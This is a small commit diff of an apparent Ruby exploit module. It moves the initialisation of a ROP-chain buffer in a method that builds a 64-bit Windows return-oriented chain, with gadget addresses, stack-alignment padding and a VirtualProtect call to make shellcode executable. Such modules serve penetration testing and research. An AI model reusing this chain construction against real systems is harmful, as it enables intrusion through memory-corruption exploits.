@@ -76,6 +76,7 @@ def check
76
76
end
77
77
78
78
def ropchain ( target )
79
+ rop = ''
79
80
# These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
80
81
stack_align = "\x43 " * 16
81
82
@@ -111,7 +112,6 @@ def ropchain(target)
111
112
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
112
113
# We want RCX to hold the value for VP Argument "Address of Shellcode"
113
114
# 0x140cc2234 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
114
- rop = ''
115
115
rop << [ 0x140cc2234 ] . pack ( 'Q<' )
116
116
rop << [ 0x4141414141414141 ] . pack ( 'Q<' ) * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
117
117
# 0x1400ae2ae | POP RDX; RETN
@@ -180,7 +180,6 @@ def ropchain(target)
180
180
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
181
181
# We want RCX to hold the value for VP Argument "Address of Shellcode"
182
182
# 0x140ccb984 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
183
- rop = ''
184
183
rop << [ 0x140ccb984 ] . pack ( 'Q<' )
185
184
rop << [ 0x4141414141414141 ] . pack ( 'Q<' ) * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
186
185
# 0x14008f7ec | POP RDX; RETN
0 commit comments